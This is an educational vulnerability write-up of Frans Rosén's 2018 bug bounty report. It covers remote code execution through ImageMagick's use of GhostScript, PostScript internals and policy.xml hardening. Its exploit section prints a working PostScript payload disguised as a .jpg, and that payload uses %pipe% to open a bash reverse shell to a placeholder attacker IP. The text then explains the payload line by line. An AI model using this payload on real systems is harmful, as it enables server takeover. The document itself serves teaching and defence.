Vulnerability Deep Dive: Gaining RCE Through ImageMagick With Frans Rosen
The file upload vulnerability type is as broad in scope as the number of different file types. These vulnerabilities are an ever-present security concern. While the underlying mechanics of how the unsafe handling of PHP files leads to compromised systems are clear to understand, exploitation using document files as a payload medium may not be so clear.
For younger members of the cybersecurity industry, this uncertainty can be partly attributed to the history behind the race to dominate the modern printing press.
The Vulnerability
On August 31, 2018 security researcher Frans Rosén submitted a report to the Semrush program in regard to a file upload vulnerability.
Semrush Holdings, a software-as-a-service (SaaS) provider, is a leader in search engine optimization (SEO). The Semrush platform offers a suite of tools to assist businesses in increasing their online visibility and managing their digital marketing campaigns.
Included in the toolkit is the My Report feature which equips marketing agencies with the ability to aggregate cross-platform marketing data in order to generate highly customizable PDF reports with ease. These reports can then be presented to clients and stakeholders to demonstrate the value provided and results achieved.
One of the customization options available is the ability to upload your company’s logo to the report. To facilitate this feature, the open-source image processing suite ImageMagick was integrated into the report-building dashboard.
ImageMagick and Related Vulnerabilities
Rosén was able to achieve remote code execution (RCE) on a Semrush server once he discovered that an unpatched version of ImageMagick was being utilized. Rosén’s report, though slightly dated, serves as a great case study in order to gain a deep understanding of the inner workings of document processing vulnerabilities.
However, researchers have found numerous bugs directly in ImageMagick and adjacent to it that have since been assigned CVEs, with some of them being much more recent than the one that will be discussed below:
Page Description Languages
A page description language (PDL) defines the arrangement of text, images, and graphics on a page using commands that printers are able to interpret. By utilizing these languages, precise control over the appearance of printed media is possible, making them ideal for generating professional-grade documents. Page description languages have either a static format or dynamic format:
- A static format uses a fixed set of commands and rules for operations and their arguments.
- A dynamic format is more flexible than its static counterpart as its commands can be extended. A page is described in this format as a program that gets executed, rather than just data to be printed.
PostScript
PostScript is a dynamic format page description language. As a fully-featured programming language, in addition to its graphic design capabilities – it also supports features such as variables, conditional execution, loops, user-defined procedures, a variety of data types, file input/output, functions, and interactive debugging.
In PostScript:
- A stack is an area of memory used for temporarily storing objects. Objects are pushed onto the stack and popped off as they are consumed. The stack operates on a last-in, first-out basis – meaning the last object placed on the stack will be the first consumed.
- Functions/commands that perform specific actions are referred to as operators.
- String values are encased in parentheses: (Hello world!)
Dictionaries are tables of key/value pairs. These tables are stored in the virtual memory of the interpreter. They serve as lookup tables for names and their corresponding definitions. There are three dictionaries:
- userdict is a writable dictionary that stores user-defined objects in the current session context.
- globaldict is a writable dictionary that is globally accessible across different contexts.
- systemdict is a read-only dictionary that holds the predefined objects and built-in commands.
When the interpreter encounters a name, it will search these dictionaries for that key – beginning with userdict and ending with systemdict.
As PostScript is a postfix language, function calls are read from right to left. The def operator binds a value to a key. For example:
/example_variable (H1) def |
Defines a variable named example_variable with a value of H1.
GhostScript
“You can use Postscript to get Ghostscript to run which in return allows to trigger arbitrary commands on the server, leading to Remote Code Execution.”
Just like many other programming languages, PostScript requires an interpreter to execute its commands and convert them into actions/output. A page described using the executable program written in PostScript is presented to the interpreter controlling the output device.
GhostScript is the interpreter used by ImageMagick for PostScript and PDF files. When ImageMagick processes these file types, it relies on GhostScript to interpret and convert them into a format that ImageMagick can manipulate.
GhostScript is available as a command line tool:
In the image above, the PostScript addition operation was performed, and the value was pushed to the stack, denoted by the stack size of <1>. Issuing the stack command prints the value.
In GhostScript, settings that control interactions with a device are referred to as device parameters.
- The .LockSafetyParams device parameter prevents PostScript programs from being able to change potentially dangerous setting configurations. It takes a Boolean value of either true or false. If this parameter has a value of true for the current device, any attempts to set a new device with a value of false will result in an invalidaccess error.
- The OutputFile parameter is used to write files. It takes a string value which specifies the file name for output.
- The %pipe% command instructs the interpreter to start a new process with any shell command. If .LockSafetyParams is set to true an invalidaccess error will be met.
At the time of the report, GhostScript could be ran in an optional -dSAFER safe sandbox mode. The SAFER mode enables access controls on files, device selection and device parameters. In this mode, the device’s .LockSafetyParams parameter is set to true.
In the -dNOSAFER mode, PostScript programs are allowed to read, write, rename or delete system files that lack operating system permission protection. In this mode, the device’s .LockSafetyParams parameter is set to false.
In the absence of the -dSAFER switch, exploiting GhostScript can be easily achieved by use of the %pipe% command to run shell commands on the vulnerable system.
policy.xml
“Tavis Ormandy has also mentioned recently that the policy.xml needs to disable EPS,PS,PDF and XPS since all these have ways to trigger Ghostscript…”
In Rosén’s report, he references Tavis Ormandy’s concerns regarding the default configuration settings for coders in ImageMagick.
On August 21, 2018, Google’s Project Zero security researcher Tavis Ormandy disclosed several vulnerabilities in GhostScript. One of these vulnerabilities provided the PoC adjusted and used by Rosén. Read the conversation between Ormandy and the GhostScript team.
ImageMagick is reliant on external configuration files to customize settings, manage resources, optimize performance and enhance security. Customizing the security policy is accomplished in the policy.xml file.
If directives to block uploads of a certain file type are not explicitly set, the files will be processed by ImageMagick and, by extension, sent to GhostScript. At the time, there were no such default directives and manual changes were required in order for ImageMagick to not render PS and EPS files if presented with PostScript data.
The secure configuration within the <policymap> section of the policy.xml file would have consisted of the following:
<policy domain=”coder” rights=”none” pattern=”PS” /> <policy domain=”coder” rights=”none” pattern=”PS2″ /> <policy domain=”coder” rights=”none” pattern=”PS3″ /> <policy domain=”coder” rights=”none” pattern=”EPS” /> <policy domain=”coder” rights=”none” pattern=”PDF” /> <policy domain=”coder” rights=”none” pattern=”XPS” /> |
PoC provided by Tavis Ormandy:
$ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops |
The Exploit
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%bash -c ‘bash -i >& /dev/tcp/[IP]/8080 0>&1’) currentdevice putdeviceprops |
[IP] is a placeholder for the listening address.
This file was saved as a .jpg and uploaded to My Reports.
View PostScript documentation.
Script Breakdown
- The script begins with %!PS indicating the following content is written in PostScript.
- The undef operator removes a dictionary entry entirely – both the key and value. This is used to remove the setpagedevice command from the userdict, preventing any changes to device settings.
- legal is a userdict operator that sets the page dimensions. This will trigger an error since setpagedevice was removed.
- The { null restore } stopped { pop } if sequence checks for errors. If one occurred it will revert the device back to the last saved state. Since the save command was not called and therefore there is no state to revert back to and { null restore } is a no-op placeholder (meaning do nothing) – the state that will be reverted back to when the script errors is the initial state of the interpreter when it was started. Except this time, since the setpagedevice command has been removed – no security settings can be implemented. Effectively excluding the -dSAFER option, setting .LockSafetyParams to false.
- The legal operator is used again to set the device to a page.
- When the flag is set to false, the check for OutputFile does not trigger an invalidaccess error if unauthorized access is attempted.
- putdeviceprops sets device properties on the currentdevice.
- The mark PostScript operator is used to push the current state on the stack. It is a way to mark a point in the program so that you can later restore the state to that point using the restore operator.
- currentdevice putdeviceprops applies the newly defined output command in the parenthesis to the device.
- %pipe% instructs the interpreter to start a new process, in this case run bash -c which will open a shell on the device. Within this shell, the command ‘bash -i >& /dev/tcp/[IP]/8080 0>&1’ is ran. This will create a reverse shell connection to the attacking machine. >& redirects the standard output (stdout) and standard error (stderr) to the attacker machine. While 0>&1 redirects input from the attacker’s shell to the shell on the device.
Conclusion
Rosén’s efforts resulted in a bounty and a bonus amount. The Semrush team also gave him a promotion code to allow Rosén to test the paid functionality of their service.
When you are testing, ensure to check if any PostScript-compatible file types are allowed as it may result in a file upload vulnerability.
Sources
Print Center Features – Adobe PostScript vs. Adobe PDF. (n.d.). https://web.archive.org/web/20160413212438/https://www.adobe.com/print/features/psvspdf/
Ormandy, T. (n.d.). oss-sec: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? https://seclists.org/oss-sec/2018/q3/142
Systems, A. (1999). PostScript Language Reference, Third Edition. Retrieved August 29, 2024, from https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf
CERT/CC Vulnerability Note VU#332928. (n.d.). https://www.kb.cert.org/vuls/id/332928